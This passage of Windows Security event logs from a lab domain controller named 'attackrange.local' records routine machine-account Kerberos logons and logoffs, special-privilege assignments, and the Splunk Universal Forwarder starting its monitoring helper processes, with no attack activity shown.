level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:05:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257053 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A13C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:06:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257058 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257059 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1260 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257062 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x610 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257061 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x874 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257066 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A49CF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257065 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A49CF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59346 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257064 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A49CF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257072 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A4D12 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257071 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A4D12 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59350 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257070 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A4D12 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257069 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A4CA6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257068 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A4CA6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59349 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257067 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A4CA6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1320 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257088 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257087 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6330 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257086 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A643E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257085 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: 